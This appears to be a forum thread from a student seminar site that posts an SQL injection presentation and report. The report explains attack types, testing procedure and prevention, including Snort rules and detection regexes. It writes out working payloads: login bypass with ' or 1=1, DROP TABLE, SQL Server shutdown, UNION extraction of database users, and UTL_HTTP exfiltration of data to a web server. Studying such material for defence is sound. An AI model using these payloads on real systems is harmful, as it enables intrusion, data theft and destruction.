please if u have this report (SQL injection in .doc ) please do upload .....

Thank you Smile
Reply
project topics
Active In SP
**

Posts: 2,492
Joined: Mar 2010
#3
24-04-2010, 08:16 PM


Presented By:

BY:-
Nikita Dhurve
Bvcoew,Pune.

SQL INJECTION

SYNOPSIS:-
This paper contains information about extremely popular database attacks. Most of today's web applications require dynamic content and input from users which further are maintained in a database. This is achieved by using languages such as SQL the most common being mySQL.

A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database recover the content of a given file present on the DBMS file system.

The attacker can gain unauthorized access to restricted data such as usernames /passwords/email addresses etc which is sucked by the web applications to perform some specific tasks. It attacks on the web application
(like ASP, JSP, PHP, CGI, etc) itself rather than on the web server or services running in the OS.

CATEGORIES OF SQL INJECTION ATTACKS
Four main categories of SQL Injection attacks against Oracle databases “
1. SQL Manipulation
2. Code Injection
3. Function Call Injection
4. Buffer Overflows
AVOIDING SQL INJECTION VULNERABILITIES
The various techniques used to prevent SQL injections are:
1. Parameterized query
2. Stored procedure
3. Regular expression to discard input string
4. Quoteblock function
5. Do not show detailed error messages to the user.
6. Have a less privileged user/role of your application in database
AUTOMATED SQL INJECTION TOOLS
1.Wpoison is a tool that will find any strings potentially SQL Injection vulnerabilities in dynamic web documents.
2. mieliekoek.pl is an SQL Injection insertion crawler that will test all forms on a website for possible SQL injection problem.
3. SQLbf is a SQL Server Password Auditing tool. This tool should be used to audit the strength of Microsoft SQL Server passwords offline.
Conclusion:-
The purpose of this article is to make aware the people related to database
maintenance say DBA, Site owner, Computer science students working on database project and implimentations
and to general people who are launching their sites on internet.Through this article one can know that what are the breaches that can be secured either code or protection security like firewalls.
Use Search at http://topicideas.net/search.php wisely To Get Information About Project Topic and Seminar ideas with report/source code along pdf and ppt presenaion
Reply
project topics
Active In SP
**

Posts: 2,492
Joined: Mar 2010
#4
25-04-2010, 09:13 PM


.pptx   SQL INJECTION.pptx (Size: 386.72 KB / Downloads: 190)

SQL INJECTION

Presented By:
Nikita Dhurve

What is SQL

SQL stands for Structured Query Language.
Allows us to access a database.
Database is maintained in table form.


SQL can perform:

Execute queries against database.
Retrieve data from the database.
Insert new record in database.
Delete a record from database.
Update records in the database.


SQL QUERIES:-

SQL supports same major keywords in a similar manner such as (SELECT, UPDATE, DELETE, INSERT, WHERE and others).
With SQL, we can query a database and have result set returned.
Using a query as this:-
SELECT lastname
FROM users
WHERE userid=1;
¢ Will retrieve the lastname of from user table where id is 1.


WHAT IS SQL INJECTION
HOW COMMON IT IS

It is probably the most common Website vulnerability today!
It is a flaw in "web application" development,
it is not a DB or web server problem
Most programmers are still not aware of this problem
A lot of the tutorials & demo templates are vulnerable
Even worse, a lot of solutions posted on the Internet are not good enough



VULNERABLE APPLICATION

When the end user string input is not properly validated and is passed to a dynamic SQL statement without any such validation.
The string input is usually passed directly to the SQL statement.
Because of the stateless nature of many web applications, it is common to write data to the database or store it using some other means between web pages.
This indirect type of attack is much more complex and often requires in-depth knowledge of the application.



NOT VULNERABLE

SQL Statements using bind variables are generally protected from SQL Injection as the Oracle database will use the value of the bind variable exclusively and not interpret the contents of the variable in any way.
PL/SQL and JDBC allow for bind variables.
Bind variables should be extensively used for both security and performance reasons.




SQL INJECTION CHARACTER

' or " character String Indicators
-- or # single-line comment
/*¦*/ multiple-line comment
+ addition, concatenate (or space in url)
|| (double pipe) concatenate
% wildcard attribute indicator
Param1=foo&Param2=bar URL Parameters
PRINT useful as non transactional command
@variable local variable
@@variable global variable
waitfor delay '0:0:10' time delay
POWER OF ˜
In a SQL statement the user filled fields are enclosed by single quotation marks(').
A simple test would be to try using (') as the username.
The following error message will be displayed when a (') is entered into a form that is vulnerable to SQL injection:
WARNING:-Input validation attacks occur here on a website.
If this error is displayed then SQL injection
techniques can be tried.



USE OF %(WILDCARD ATTRIBUTE)

ORACLE provide us % for finding the information related to a particular field.
The attacker makes use of this to guess the username of an account by querying for similar user names (ex: Ëœad%â„¢ is used to query for admin).
The attacker can insert data by appending commands or
writing queries.
Also there are several extended stored procedures which can make direct calls to the operating systems and can cause permanent damage to the system.



HOW DOES SQL INJECTION WORKS

¢ Common vulnerable login query
SELECT * FROM users
WHERE login = 'victor'
AND password = '123'
(If it returns something then login!)
¢ ASP/MS SQL Server login syntax
var sql = "SELECT * FROM users
WHERE login = '" + formusr +
"' AND password = '" + formpwd + "'";
INJECTING THROUGH STRINGS



WEB APPLICATION FORM

formusr = ' or 1=1 “ “
formpwd = anything
Final query would look like this:
SELECT * FROM users
WHERE username = ' ' or 1=1
“ “ AND password = 'anything'




SIMPLE ATTACKS

Product Search:
This input is put directly into the SQL statement within the Web application:
$query = SELECT prodinfo FROM prodtable WHERE prodname = ˜ . $_POST[˜prod_search™] . ™;
Creates the following SQL:
SELECT prodinfo FROM prodtable WHERE prodname = ˜blah˜ OR ˜x™ = ˜x™
Attacker has now successfully caused the entire database to be returned.


MOST MALICIOUS ATTACK

What if the attacker had instead entered:
blah˜; DROP TABLE prodinfo; --
Results in the following SQL:
SELECT prodinfo FROM prodtable WHERE prodname = Ëœblahâ„¢; DROP TABLE prodinfo; --â„¢
Note how comment (--) consumes the final quote
Causes the entire database to be deleted
Depends on knowledge of table name
This is sometimes exposed to the user in debug code called during a database error.
Use non-obvious table names, and never expose them to user



DANGEROUS ATTACK

One of SQL Server's most powerful commands is:
SHUTDOWN WITH NOWAIT, which causes it to shutdown, immediately stopping the Windows service.
Username: ' ; shutdown with nowait; --
Password: [Anything]
This can happen if the script runs the following query:

select userName from users where
userName='; shutdown with nowait;-' and
user_Pass=' '




CATEGORIES OF SQL INJECTION

There are four main categories of SQL Injection attacks against Oracle databases “
SQL Manipulation.

Code Injection.
Function Call Injection
Buffer Overflows
SQL MANIPULATION.
MODIFYING OF SQL STATEMENT USING SET OPERATIONS LIKE UNION, INTERSECT,MINUS ETC.
DURING LOGGING AUTHENTICATION¦
SELECT * FROM users WHERE username=Ëœbobâ„¢ and PASSWORD=Ëœmypasswordâ„¢.
THE ATTACKER ATTEMPTS TO MANIPULATE SQL STATEMENT WILL EXECUTE.
SELECT * FROM users WHERE username=Ëœbobâ„¢ and PASSWORD=Ëœmypasswordâ„¢ OR Ëœaâ„¢=Ëœaâ„¢.




CODE INJECTION

Code injection attacks attempt to add additional SQL statements or commands to the existing SQL statement.
This type of attack is frequently used against Microsoft SQL Server applications, but seldom works with an Oracle database.




ERROR RESULTING QUERY:

SELECT * FROM users WHERE username = 'bob' and PASSWORD = 'mypassword'; DELETE FROM users WHERE username = 'admin';
The following is an example of a PL/SQL block executed in a web application “
BEGIN ENCRYPT PASSWORD('bob', 'mypassword'); END;
The above example PL/SQL block executes an application stored procedure that encrypts and saves the user™s password. An attacker will attempt to manipulate the PL/SQL block to execute as “
BEGIN ENCRYPT PASSWORD('bob', 'mypassword'); DELETE FROM users WHERE upper(username) = upper('admin'); END;



FUNCTION CALL INJECTION

Function call injection is the insertion of Oracle database functions or custom functions into a vulnerable SQL statement.
These function calls can be used to make operating system calls or manipulate data in the database.
Functions executed as part of a SQL SELECT statement cannot make any changes to the database unless the function is marked as PRAGMA TRANSACTION.




BUFFER OVERFLOW

A number of standard Oracle database functions are susceptible to buffer overflows, which can be exploited through a SQL injection attack in an un-patched database.
Known buffer overflows exist in the standard database packages as well as in standard database functions such as TZ_OFFSET, TO_TIMESTAMP_TZ, BFILENAME, FROM_TZ, NUMTOYMINTERVAL, and NUMTODSINTERVAL.



SQL INJECTION TESTING

ITâ„¢S NECESSARY TO CHECK FOR SQL INJECETION.
UNLESS WE DONâ„¢T GO FOR TEST WE WILL NOT BE ABLE TO PREVENT THE ATTACKS.
PREVENTION TECHNIQUES
The various techniques used to prevent SQL injections are:-
Parameterized query
Stored procedure
Regular expression to discard input string
Quote block function
Donâ„¢t show detailed error messages to the user.
Have a less privileged user/role of your application in database.
Automated SQL Injection Tools
Wpoison is a tool that find any strings potentially SQL Injection vulnerabilities in dynamic web documents.
Mieliekoek.pl is an SQL Injection crawler that will test all forms on a website for possible SQL injection problems.



ADVANTAGES

SQL INJECTION ATTACKS CAN BE HELPFUL FOR DEVELOPING APPLICATION WHICH IS NOT VULNERABLE TO THESE ATTACKS.
MANY PREVENTION TECHNIQUES ARE AVAILABLE FOR SQL INJECTION ATTACKS.
SECURITY TERM CAN BE IMPLEMENTED.
DISADVANTAGES
NO SYSTEM IS SECURED FROM SQL INJECTION.
THOUGH, THERE ARE MANY METHODS OF SQL INJECTION PREVENTION, NOT A SINGLE METHOD IS 100% FOOLPROOF.
CONFIDENTIAL INFORMATION CAN ALSO BE RETRIEVED BY USING A LOT OF INFORMATION.



APPLICATIONS

IT IS USED IN OWASP (OPEN WEB APPLICATION SECURITY PROJECT).
ALSO IT IS USED IN GREENSQL FIREWALL



CONCLUSION

SQL Injection is a fascinating and dangerous vulnerability.
All programming languages and all SQL databases are potentially vulnerable.
Protecting against it requires
strong design
correct input validation
hardening
This article is to make aware the people who are anyways related to database maintenance say DBA, Site owner, Computer science students involving in project and implimentations related to database and to general people who are launching their sites on internet.
Through this article one can know that what are the breaches that can be secured either code or protection security like firewalls.



REFERENCES
BOOKS

SQL Injection Defenses First Edition, by Martin Nystrom, release, date March 2007.
Web Hacking: Attacks and defenses By Stuart McClure, Saumil Shah, Shreeraj Shah,2008.
WEB SITES
SQL Injection spidynamicspapers/SQLInjectionWhitePaper.pdf
2. Threats and Countermeasures, MSDN, Microsoft msdn.microsoft.com
3. Advanced SQL Injection nextgensspapers/advanced_sql_injection.pdf
4. Detection techniques securiteam/papers/detection-techniques

ANY QUESTIONS
Use Search at http://topicideas.net/search.php wisely To Get Information About Project Topic and Seminar ideas with report/source code along pdf and ppt presenaion
Reply
seminar presentation
Active In SP
**

Posts: 582
Joined: Apr 2010
#5
01-05-2010, 11:26 PM


.docx   FINAL_SQL full report.docx (Size: 354.96 KB / Downloads: 143)

CHAPTER 1
INTRODUCTION
There was an era when children grew up reading comic strips but now comic strips have got some action and has evolved as the animated cartoon films.
Similarly, Web sites initially started just to show some static information to the user on plain HTML pages with some graphics and colorful text. Soon the advent of technologies like CGI(Common gateway interface) made it possible to have dynamic features attached to them. Sites were able to query an online database and fulfill requests. With the growing pace of the IT, soon websites got a powerful shot gun called online transaction. Now sites not only display dynamic data but are also capable of taking the orders from the customers and process them online.
This whole drama of accessing the database had the database accessing API (Application Programming Interface) at its heart. The input given by the end user (visitor) was processed by the back end SQL engine to perform CRUD operations on the database (CRUD - Create, Read, Update, and Delete).
SQL injection is a basic attack used either to gain unauthorized access to a database or to retrieve information directly from the database. The basic principles underlying SQL injection are simple and these types of attacks are easy to execute and master. Any program or application may be vulnerable to SQL injection including stored procedures executed with a direct database connection, Oracle Forms applications, web applications, etc.
CHAPTER 2
SQL INJECTION
SQL Injection is inputting the raw transact SQL Query into an application to perform an unexpected action. Most of the time existing queries are edited to achieve the same results. Transact SQL is easily changed by the placement of a single character in a chosen spot causing the query to behave in malicious ways. The most commonly used characters
are back tick (`), double dash(--), and the semi colon (Wink all of which have specific meaning in SQL.
FIG.NO-1¦SYMBOLS TABLE
Numerous SQL injection vulnerabilities have been found in the standard Oracle Database packages such as DBMS_DATAPUMP, DBMS_REGISTRY, and DBMS_METADATA. Web applications are at highest risk to attack since often an attacker can exploit SQL injection vulnerabilities remotely without any database or application authentication.
Web applications using Oracle as a back-end database are more vulnerable to SQL injection attacks than most application developers think. Audits have found many web applications vulnerable to SQL injection even though well-established coding standards were in place during development of many of these applications.
Function-based SQL injection attacks are of most concern, since these attacks do not require knowledge of the application and can be easily automated. Fortunately, SQL injection attacks are easy to defend against with simple coding practices. However, every parameter passed to every dynamic SQL statement must be validated or bind variables must be used.
So what exactly can an attacker do with a usurped SQL query
The attacker can gain unauthorized access to restricted data such as usernames
/passwords / email addresses etc. With some more advanced queries and sneakier
techniques the attacker can potentially bypass the authentication and gain complete
control over the web application and potentially the web server.
This is a hacking method that allows an unauthorized attacker to access a database server. It is facilitated by a common coding blunder: the program accepts data from a client and executes SQL queries without first validating the clientâ„¢s input. The attacker is then free
to extract, modify, add, or delete content from the database. In some circumstances, he
may even penetrate past the database server and into the underlying operating system.
Hackers typically test for SQL injection vulnerabilities by sending the application input that would cause the server to generate an invalid SQL query. If the server then returns an error message to the client, the attacker will attempt to reverse-engineer portions of the
original SQL query using information gained from these error messages. The typical
administrative safeguard is simply to prohibit the display of database server error
messages. Regrettably, thatâ„¢s not sufficient. Blind SQL injection can still evade the
Databases.
CHAPTER 3
VULNERABILITIES
WHATâ„¢S VULNERABLE
An application is vulnerable to SQL injection for only one reason “ end user string input is not properly validated and is passed to a dynamic SQL statement without any such validation. The string input is usually passed directly to the SQL statement. However, the user input may be stored in the database and later passed to a dynamic SQL statement, referred to as a second-order SQL injection. Because of the stateless nature of many web applications, it is common to write data to the database or store it using some other means between web pages. This indirect type of attack is much more complex and often requires in-depth knowledge of the application.
WHATâ„¢S NOT VULNERABLE
SQL Statements using bind variables are generally protected from SQL Injection as the Oracle database will use the value of the bind variable exclusively and not interpret the contents of the variable in any way. PL/SQL and JDBC allow for bind variables. Bind variables should be extensively used for both security and performance reasons.
CHECKING FOR VULNERABILITIES
Thoroughly checking a web application for SQL injection vulnerability takes more effort than one might guess. Itâ„¢s nice when you throw a single quote into the first argument of a script and the server returns a nice blank, white screen with nothing but an ODBC error
on it, but such is not always the case.
It is very easy to overlook a perfectly vulnerable script if you donâ„¢t pay attention to
details. You should always check every parameter of every script on the server.
Developers and development teams can be awfully inconsistent. The programmer who
designed Script A might have had nothing to do with the development of Script B, so
where one might be immune to SQL injection, the other might be ripe for abuse. In fact,
the programmer who worked on Function A in Script A might have nothing to do with
Function B in Script A, so while one parameter in one script might be vulnerable, another
might not. Even if an entire web application is conceived, designed, coded and tested by
one programmer, one vulnerable parameter might be overlooked. You never can be sure.
Test everything.
Testing procedure
Replace the argument of each parameter with a single quote and an SQL keyword (such as "˜ WHERE"). Each parameter needs to be tested individually. Not only that, but when testing each parameter, leave all of the other parameters unchanged, with valid data as
their arguments. It can be tempting to simply delete everything youâ„¢re not working with
to make things look simpler, particularly with applications that have parameter lines that
go into many thousands of characters. Leaving out parameters or giving other parameters
bad arguments while youâ„¢re testing another for SQL injection can break the application in
other ways that prevent you from determining whether or not SQL injection is possible.
For instance, assume that this is a completely valid, unaltered parameter line
ContactName=Maria%20Anders&CompanyName=Alfreds%20Futterkiste
while this parameter line gives you an ODBC error
ContactName=Maria%20Anders&CompanyName=˜%20
and checking with this line might simply return an error indicating that you need to
specify a ContactName value.
CompanyName=˜
This line¦
ContactName=BadContactName&CompanyName=˜
¦might give you the same page as the request that didn™t specify ContactName at all.
Or, it might give you the siteâ„¢s default homepage. Or, perhaps when the application
couldnâ„¢t find the specified ContactName, it didnâ„¢t bother to look at CompanyName, so it
didnâ„¢t even pass the argument of that parameter into an SQL statement. Or, it might give
you something completely different. So, when testing for SQL injection, always use the
full parameter line, giving every argument except the one that you are testing a legitimate
value.
FIG NO-2¦..INPUT VALIDATION
Evaluating Results
If the server returns a database error message of some kind, injection was definitely
successful. However, the messages arenâ„¢t always obvious. Again, developers do some
strange things, so you should look in every possible place for evidence of successful
injection. First, search through the entire source of the returned page for phrases such as
ODBC, SQL Server, Syntax, etc. More details on the nature of the error can be in
hidden input, comments, etc. Check the headers. I have seen web applications on
production systems that return an error message with absolutely no information in the
body of the HTTP response, but that have the database error message in a header. Many
web applications have these kinds of features built into them for debugging and QA
purposes, and then developers forget to remove or disable them before release.
You should look not only on the immediately returned page, but also in linked pages.
During a recent penetration test, I saw a web application that returned a generic error
message page in response to an SQL injection attack. Clicking on a stop sign image next
to the error retrieved another page giving the full SQL Server error message.
Another thing to watch out for is a 302 page redirect. You may be whisked away from the
database error message page before you even get a chance to notice it.
Note that SQL injection may be successful even if the server returns an ODBC error
messages. Many times the server returns a properly formatted, seemingly generic error
message page telling you that there was an internal server error or a problem
processing your request.
FIG.NO-3¦ERROR PAGE
Some web applications are designed to return the client to the siteâ„¢s main page whenever any type of error occurs. If you receive a 500 Error page back, chances are that injection is occurring. Many sites have a default 500 Internal Server Error page that claims that the server is down for maintenance, or that politely asks the user to send an e-mail to their support staff. It can be possible to take advantage of these sites using stored procedure
techniques.
CHAPTER 4
SQL INJECTION METHODS
CATEGORIES OF SQL INJECTION
There are four main categories of SQL Injection Attacks against Oracle Database:-
1. SQL Manipulation.
2. Code Injection
3. Function Call Injection
4. Buffer Overflows
SQL manipulation typically involves modifying the SQL statement through set operations (e.g., UNION) or altering the WHERE clause to return a different result. Many documented SQL injection attacks are of this type. The most well known attack is to modify the WHERE clause of the user authentication statement so the WHERE clause always results in TRUE.
Code injection is when an attacker inserts new SQL statements or database commands into the SQL statement. The classic code injection attack is to append a SQL Server EXECUTE command to the vulnerable SQL statement. Code injection only works when multiple SQL statements per database request are supported. SQL Server and PostgreSQL have this capability and it is sometimes possible to inject multiple SQL statements with Oracle. Oracle code injection vulnerabilities involve the dynamic execution of SQL in PL/SQL.
The last two categories are more specific attacks against Oracle databases and are not well known or documented. In the vast majority of our application audits, we have found applications vulnerable to these two types of attacks.
4.1. SQL MANIPULATION
FIG NO-4¦SQL MANIPULATION
The most common type of SQL Injection attack is SQL manipulation. The attacker attempts to modify the existing SQL statement by adding elements to the WHERE clause or extending the SQL statement with set operators like UNION, INTERSECT, or MINUS. There are other possible variations, but these are the most significant examples. The classic SQL manipulation is during the login authentication. A simplistic web application may check user authentication by executing the following query and checking to see if any rows were returned “
SELECT * FROM users WHERE username = 'bob' and PASSWORD = 'mypassword'
The attacker attempts to manipulate the SQL statement to execute as “
SELECT * FROM users WHERE username = 'bob' and PASSWORD = 'mypassword' or 'a' = 'a '
Based on operator precedence, the WHERE clause is true for every row and the attacker has gained access to the application. The set operator UNION is frequently used in SQL injection attacks. The goal is to manipulate a SQL statement into returning rows from another table. A web form may execute the following query to return a list of available products “
SELECT product_name FROM all_products WHERE product_name like '%Chairs%'
The attacker attempts to manipulate the SQL statement to execute as “
SELECT product_name FROM all_products WHERE product_name like '%Chairs' UNION SELECT username FROM dba_users WHERE username like '%'
FIG NO-5¦DATABASE TABLE
The list returned to the web form will include all the selected products, but also all the database users.
4.2. CODE INJECTION
Code injection attacks attempt to add additional SQL statements or commands to the existing SQL statement. This type of attack is frequently used against Microsoft SQL Server applications, but seldom works with an Oracle database. The EXECUTE statement in SQL Server is a frequent target of SQL injection attacks “ there is no corresponding statement in Oracle.
In PL/SQL and Java, Oracle does not support multiple SQL statements per database request. Thus, the following common injection attack will not work against an Oracle database via a PL/SQL or Java application.This statement will result in an error “
SELECT * FROM users WHERE username = 'bob' and PASSWORD = 'mypassword'; DELETE FROM users WHERE username = 'admin';
However, some programming languages or APIs may allow multiple SQL statements to be executed. PL/SQL and Java applications can dynamically execute anonymous PL/SQL blocks, which are vulnerable to code injection. The following is an example of a PL/SQL block executed in a web application “
BEGIN ENCRYPT PASSWORD('bob', 'mypassword'); END;
The above example PL/SQL block executes an application stored procedure that encrypts and saves the user™s password. An attacker will attempt to manipulate the PL/SQL block to execute as “
BEGIN ENCRYPT PASSWORD('bob', 'mypassword'); DELETE FROM users WHERE upper(username) = upper('admin'); END;
4.3. FUNCTION CALL INJECTION
Function call injection is the insertion of Oracle database functions or custom functions into a vulnerable SQL statement. These function calls can be used to make operating system calls or manipulate data in the database. The Oracle database allows functions or functions in packages to be executed as part of a SQL statement. By default, Oracle supplies over 1,000 functions in about 175 standard database packages, although only a fraction of these functions may be useful in a SQL injection attack. Some of these functions do perform network communication, which can be exploited. Any custom function or function residing in a custom package can also be executed in a SQL statement.
Functions executed as part of a SQL SELECT statement cannot make any changes to the database unless the function is marked as PRAGMA TRANSACTION. Very few of the standard Oracle functions are executed as autonomous transactions. Functions executed in INSERT, UPDATE, or DELETE statements are able to modify data in the database. Using the standard Oracle functions, an attacker can send information from the database to a remote computer or execute other attacks from the database server.
Many Oracle-based applications leverage database packages, which can be exploited by an attacker. These custom packages may include functions to change passwords or perform other sensitive application transactions. The issue with function call injection is that any dynamically generated SQL statement is vulnerable “ even the simplest SQL statements can be effectively exploited. The following example demonstrates even the most simple of SQL statements can be vulnerable. Application developers will sometimes use database functions instead of native code (e.g., Java) to perform common tasks. There is no direct equivalent of the TRANSLATE database function in Java, so the programmer decided to use a SQL statement.
SELECT TRANSLATE('user input','0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ', '0123456789') FROM dual;
This SQL statement is not vulnerable to other types of injection attacks, but is easily manipulated through a function injection attack. The attacker attempts to manipulate the SQL statement to execute as “
SELECT TRANSLATE('' || UTL_HTTP.REQUEST('192.168.1.1/') || '', '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ', '0123456789') FROM dual;
The changed SQL statement will request a page from a web server. The attacker could manipulate the string and URL to include other functions in order to retrieve useful information from the database server and send it to the web server in the URL. Since the Oracle database server is most likely behind a firewall, it could also be used to attack other servers on the internal network. Custom functions and functions in custom packages can also be executed. An example would be a custom application has the function ADDUSER in the custom package MYAPPADMIN. The developer marked the function as PRAGMA TRANSACTION, so it could be executed under any special circumstances that the application might encounter. Since it is marked PRAGMA TRANSACTION, it can write to the database even in a SELECT statement.
SELECT TRANSLATE('' || myappadmin.adduser('admin', 'newpass') || '', '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ', '0123456789') FROM dual;
Executing the above SQL statement, the attacker is able to create new application users.
4.4. BUFFER OVERFLOWS
A number of standard Oracle database functions are susceptible to buffer overflows, which can be exploited through a SQL injection attack in an un-patched database. Known buffer overflows exist in the standard database packages as well as in standard database functions such as TZ_OFFSET, TO_TIMESTAMP_TZ, BFILENAME, FROM_TZ, NUMTOYMINTERVAL, and NUMTODSINTERVAL.
FIG NO.6¦BUFFER OVERFLOW
A buffer overflow attack using TZ_OFFSET, TO_TIMESTAMP_TZ, BFILENAME, FROM_TZ, NUMTOYMINTERVAL, or NUMTODSINTERVAL is executed using the function injection methods described previously. By exploiting the buffer overflow via a SQL injection attack, remote access to the operating system can be achieved. Additional information is widely available on executing and preventing buffer overflow attacks.
In addition, some application and web servers do not gracefully handle the loss of a database connection due to a buffer overflow. Usually, the web process will hang until the connection to the client is terminated, thus making this potentially an effective denial of service attack.
CHAPTER 5
MALICIOUS ATTACKS
MALICIOUS ATTACKS
The user filled fields are enclosed by single quotation marks('). A simple test would be to try using (') as the username. The following error message will be displayed when a (') is entered into a form that is vulnerable to SQL injection:-
WARNING:- Input validation attacks occur here on a website.
If this error is displayed then SQL injection techniques can be tried. The attacker
can try to login without a password. Typical usernames would be 1=1 or any text within
single quotes.
One of SQL Server's most powerful commands is SHUTDOWN WITH NOWAIT, which causes it to shutdown, immediately stopping the Windows service.
Username: ' ; shutdown with nowait; --
Password: [Anything]
This can happen if the script runs the following query:
select userName from users where userName='; shutdown with nowait;-' and user_Pass=' ';
There are several extended stored procedures that can cause permanent damage to a system.
Input Validation attack
CHAPTER 6
PREVENTION TECHNIQUES
Researchers have proposed a wide range of techniques to address the problem of SQL injection. These techniques range from development best practices to fully automated frameworks for detecting and preventing SQL Injection Attacks. In this section, we review these proposed techniques and summarize the advantages and disadvantages associated with each technique. The various techniques used to prevent SQL injections are:-
1. Parameterized query.
2. Stored procedure.
3. Regular expression to discard input string.
4. Quote block function.
5. Donâ„¢t show detailed error messages to the user.
6. Have a less privileged user/role of your application in database.
6.1. Parameterized queries with Bound Parameters
Parameterized queries keep the query and data separate through the use of placeholders known as "bound" parameters.
For example in Java, this looks like this:
"select * from table where columna= and columnb="
The developer must then set values for the two placeholders. Note that using this syntax without actually using the placeholders and setting values provides no protection against SQL injection.
6.2. Parameterized Stored Procedure
The use of parameterized stored procedures is an effective mechanism to avoid most forms of SQL Injection. In combination with parameterized bound queries, it is very unlikely that SQL injection will occur within your application. However, the use of dynamic code execution features can allow SQL Injection as shown below:
create proc VulnerableDynamicSQL(@userName nvarchar(25)) as
declare @sql nvarchar(255)
set @sql = 'select * from users where UserName =
+ @userName + '
exec sp_executesql @sql
The above example still allows SQL Injection as it allows dynamic injection of arbitrary string data. This is also true of Java / PL/SQL and MySQL's stored procedure support.
6.2.1. Regular expression to discard input string.
An important point to keep in mind while choosing your regular expression(s) for detecting SQL Injection attacks is that an attacker can inject SQL into input taken from a form, as well as through the fields of a cookie. Your input validation logic should consider each and every type of input that originates from the user -- be it form fields or cookie information -- as suspect. Also if you discover too many alerts coming in from a signature that looks out for a single-quote or a semi-colon, it just might be that one or more of these characters are valid inputs in cookies created by your Web application. Therefore, you will need to evaluate each of these signatures for your particular Web application.
As mentioned earlier, a trivial regular expression to detect SQL injection attacks is to watch out for SQL specific meta-characters such as the single-quote (') or the double-dash (--). In order to detect these characters and their hex equivalents, the following regular expression may be used:
6.2.2. Regex for detection of SQL meta-characters
/(\%27)|(\')|(\-\-)|(\%23)|(#)/ix
Explanation:
We first detect either the hex equivalent of the single-quote, the single-quote itself or the presence of the double-dash. These are SQL characters for MS SQL Server and Oracle, which denote the beginning of a comment, and everything that follows is ignored. Additionally, if you're using MySQL, you need to check for presence of the '#' or its hex-equivalent. Note that we do not need to check for the hex-equivalent of the double-dash, because it is not an HTML meta-character and will not be encoded by the browser. Also, if an attacker tries to manually modify the double-dash to its hex value of %2D , the SQL Injection attack fails.
The above regular expression would be added into a new Snort rule as follows:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"SQL Injection - Paranoid"; flow:to_server,established;uricontent:".pl";pcre:"/(\%27)|(\')|(\-\-)|(%23)|(#)/i"; classtype:Web-application-attack; sid:9099; rev:5Wink
In this case, the uricontent keyword has the value ".pl", because in our test environment, the CGI scripts are written in Perl. Depending upon your particular application, this value may be either ".php", or ".asp", or ".jsp", etc. From this point onwards, we do not show the corresponding Snort rule, but instead only the regular expressions that are to be used for creating these rules. From the regular expressions you can easily create more Snort rules.
In the previous regular expression, we detect the double-dash because there may be situations where SQL injection is possible even without the single-quote . Take, for instance, an SQL query which has the where clause containing only numeric values.
Something like:
select value1, value2, num_value3 from database
where num_value3=some_user_supplied_number
In this case, the attacker may execute an additional SQL query, by supplying an input like:
3; insert values into some_other_table
Finally, pcre modifiers 'i' and 'x' are used in order to match without case sensitivity and to ignore whitespaces, respectively.
The above signature could be additionally expanded to detect the occurrence of the semi-colon as well. However, the semi-colon has a tendency to occur as part of normal HTTP traffic. In order to reduce the false positives from this, and also from any normal occurrence of the single-quote and double-dash, the above signature could be modified to first detect the occurrence of the = sign. User input will usually occur as a GET or a POST request, where the input fields will be reflected as:
username=some_user_supplied_value&password=some_user_supplied_value
Therefore, the SQL injection attempt would result in user input being preceded by a = sign or its hex equivalent.
6.2.3. Modified regex for detection of SQL meta-characters
/((\%3D)|(=))[^\n]*((\%27)|(\')|(\-\-)|(\%3B)|(Wink)/i
Explanation:
This signature first looks out for the = sign or its hex equivalent (%3D). It then allows for zero or more non-newline characters, and then it checks for the single-quote, the double-dash or the semi-colon.
A typical SQL injection attempt of course revolves around the use of the single quote to manipulate the original query so that it always results in a true value. Most of the examples that discuss this attack use the string 1'or'1'='1. However, detection of this string can be easily evaded by supplying a value such as 1'or2>1--. Thus the only part that is constant in this is the initial alphanumeric value, followed by a single-quote, and then followed by the word 'or'. The Boolean logic that comes after this may be varied to an extent where a generic pattern is either very complex or does not cover all the variants. Thus these attacks can be detected to a fair degree of accuracy by using the next regular expression, in section 2.3 below.
6.2.4. Regex for typical SQL Injection attack
/\w*((\%27)|(\'))((\%6F)|o|(\%4F))((\%72)|r|(\%52))/ix
Explanation:
\w* - zero or more alphanumeric or underscore characters
(\%27)|\' - the ubiquitous single-quote or its hex equivalent
(\%6F)|o|(\%4F))((\%72)|r|(\%52) - the word 'or' with various combinations of its upper and lower case hex equivalents.
The use of the 'union' SQL query is also common in SQL Injection attacks against a variety of databases. If the earlier regular expression that just detects the single-quote or other SQL meta characters results in too many false positives, you could further modify the query to specifically check for the single-quote and the keyword 'union'. This can also be further extended to other SQL keywords such as 'select', 'insert', 'update', 'delete', etc.
6.2.5. Regex for detecting SQL Injection with the UNION keyword
/((\%27)|(\'))union/ix
(\%27)|(\') - the single-quote and its hex equivalent
union - the keyword union
Similar expressions can be written for other SQL queries such as >select, insert, update, delete, drop, and so on.
If, by this stage, the attacker has discovered that the Web application is vulnerable to SQL injection, he will try to exploit it. If he realizes that the back-end database is on an MS SQL server, he will typically try to execute one of the many dangerous stored and extended stored procedures. These procedures start with the letters 'sp' or 'xp' respectively. Typically, he would try to execute the 'xp_cmdshell' extended procedure, which allows the execution of Windows shell commands through the SQL Server. The access rights with which these commands will be executed are those of the account with which SQL Server is running -- usually Local System. Alternatively, he may also try and modify the registry using procedures such as xp_regread, xp_regwrite, etc.
6.2.6. Regex for detecting SQL Injection attacks on a MS SQL Server
/exec(\s|\+)+(s|x)p\w+/ix
Explanation:
exec - the keyword required to run the stored or extended procedure
(\s|\+)+ - one or more whitespaces or their HTTP encoded equivalents
(s|x)p - the letters 'sp' or 'xp' to identify stored or extended procedures respectively
\w+ - one or more alphanumeric or underscore characters to complete the name of the procedure.
CHAPTER 7
COUNTERMEASURES
7.1 Input Validation
Input validation can be a complex subject. Typically, too little attention is paid to it in a development project and implimentation, since over enthusiastic validation tends to cause parts of an
application to break, and the problem of input validation can be difficult to solve. Input
validation tends not to add to the functionality of an application, and thus it is generally
overlooked in the rush to meet imposed deadlines.
The following is a brief discussion of input validation, with sample code. This sample
code is (of course) not intended to be directly used in applications, but it does illustrate
the differing strategies quite well. The different approaches to data validation can be categorised as follows:
1) Attempt to massage data so that it becomes valid
2) Reject input that is known to be bad
3) Accept only input that is known to be good
